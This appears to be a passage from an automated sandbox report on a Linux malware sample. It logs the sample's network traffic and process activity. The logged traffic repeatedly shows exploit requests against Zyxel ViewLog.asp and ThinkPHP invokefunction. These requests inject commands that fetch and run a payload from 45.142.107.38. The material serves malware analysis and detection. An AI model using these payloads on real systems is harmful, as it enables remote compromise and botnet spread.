Mar 4, 2024 15:09:00.807070017 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
773	192.168.2.13	37584	94.120.236.211	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:09:01.588135004 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
774	192.168.2.13	57186	31.200.71.65	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:09:01.588207960 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
775	192.168.2.13	59222	94.152.32.7	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:09:01.588258982 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:09:01.782176018 CET	47	IN	HTTP/1.1 405 Method Not Allowed

Session ID	Source IP	Source Port	Destination IP	Destination Port
776	192.168.2.13	54298	62.29.28.126	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:09:01.588298082 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
777	192.168.2.13	45844	31.31.59.219	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:09:01.588423014 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:09:02.551568985 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:09:03.671561003 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
778	192.168.2.13	44940	94.121.38.192	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:09:01.597661972 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
779	192.168.2.13	41490	31.40.225.44	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:09:02.029412985 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:09:02.250526905 CET	1286	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.23 Mime-Version: 1.0 Date: Mon, 04 Mar 2024 13:38:43 GMT Content-Type: text/html Content-Length: 3169 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff

Session ID	Source IP	Source Port	Destination IP	Destination Port
780	192.168.2.13	48760	31.200.125.169	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:09:02.038667917 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
781	192.168.2.13	35482	31.136.179.212	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:09:03.452151060 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:09:04.022922039 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:09:05.174777985 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
782	192.168.2.13	37308	85.3.33.5	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:09:03.638418913 CET	300	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel
Mar 4, 2024 15:09:03.837302923 CET	498	IN	HTTP/1.1 401 Unauthorized WWW-Authenticate: Basic realm="Protected" Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4b 73 65 6e 69 61 20 4c 61 72 65 73 20 57 65 62 53 65 72 76 65 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 23 33 33 33 33 33 33 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 23 39 39 39 39 39 39 20 66 61 63 65 3d 22 56 65 72 64 61 6e 61 2c 47 65 6e 65 76 61 2c 73 61 6e 73 2d 73 65 72 69 66 22 3e 3c 64 69 76 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 70 3e 3c 68 31 3e 55 6e 61 75 74 68 6f 72 69 7a 65 64 3a 20 50 61 73 73 77 6f 72 64 20 72 65 71 75 69 72 65 64 3c 2f 68 31 3e 3c 62 72 3e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 62 72 3e 3c 64 69 76 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 43 6f 70 79 72 69 67 68 74 20 26 63 6f 70 79 3b 20 32 30 31 33 2d 32 30 31 34 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6b 73 65 6e 69 61 73 65 63 75 72 69 74 79 2e 63 6f 6d 2f 22 20 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 23 66 66 33 33 33 33 3e 20 4b 73 65 6e 69 61 20 53 65 63 75 72 69 74 79 20 3c 2f 66 6f 6e 74 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 66 6f 6e 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Ksenia Lares WebServer</title></head><body bgcolor=#333333><font color=#999999 face="Verdana,Geneva,sans-serif"><div align="center"><p><h1>Unauthorized: Password required</h1><br></p></div><br><div align="center">Copyright © 2013-2014 <a href="http://www.kseniasecurity.com/" ><font color=#ff3333> Ksenia Security </font></a></div></div></font></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
783	192.168.2.13	40654	85.237.170.158	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:09:03.830382109 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
784	192.168.2.13	42530	62.29.108.31	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:09:03.845700979 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
785	192.168.2.13	51716	94.154.82.143	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:09:03.900676966 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:09:04.168744087 CET	378	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/html; charset=utf-8 Content-Length: 130 X-Frame-Options: SAMEORIGIN Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
786	192.168.2.13	53618	88.221.24.137	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:09:04.292678118 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:09:04.839024067 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:09:05.011641026 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:09:04 GMT Date: Mon, 04 Mar 2024 14:09:04 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 35 31 38 64 64 35 38 26 23 34 36 3b 31 37 30 39 35 36 31 33 34 34 26 23 34 36 3b 31 37 63 35 37 65 30 35 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.8518dd58.1709561344.17c57e05</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
787	192.168.2.13	45922	95.211.215.45	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:09:05.635106087 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

System Behavior

Analysis Process: kncYk2tWvH.elf PID: 5432, Parent PID: 5354

General

Start time (UTC):	14:05:28
Start date (UTC):	04/03/2024
Path:	/tmp/kncYk2tWvH.elf
Arguments:	/tmp/kncYk2tWvH.elf
File size:	66320 bytes
MD5 hash:	d37eb83ee9d6340d69af2924529ff6d4

Start time (UTC):	14:05:28
Start date (UTC):	04/03/2024
Path:	/tmp/kncYk2tWvH.elf
Arguments:	-
File size:	66320 bytes
MD5 hash:	d37eb83ee9d6340d69af2924529ff6d4

Start time (UTC):	14:05:28
Start date (UTC):	04/03/2024
Path:	/tmp/kncYk2tWvH.elf
Arguments:	-
File size:	66320 bytes
MD5 hash:	d37eb83ee9d6340d69af2924529ff6d4

Start time (UTC):	14:05:28
Start date (UTC):	04/03/2024
Path:	/tmp/kncYk2tWvH.elf
Arguments:	-
File size:	66320 bytes
MD5 hash:	d37eb83ee9d6340d69af2924529ff6d4

Start time (UTC):	14:05:28
Start date (UTC):	04/03/2024
Path:	/tmp/kncYk2tWvH.elf
Arguments:	-
File size:	66320 bytes
MD5 hash:	d37eb83ee9d6340d69af2924529ff6d4

Analysis Process: kncYk2tWvH.elf PID: 5437, Parent PID: 5435

General

Start time (UTC):	14:05:28
Start date (UTC):	04/03/2024
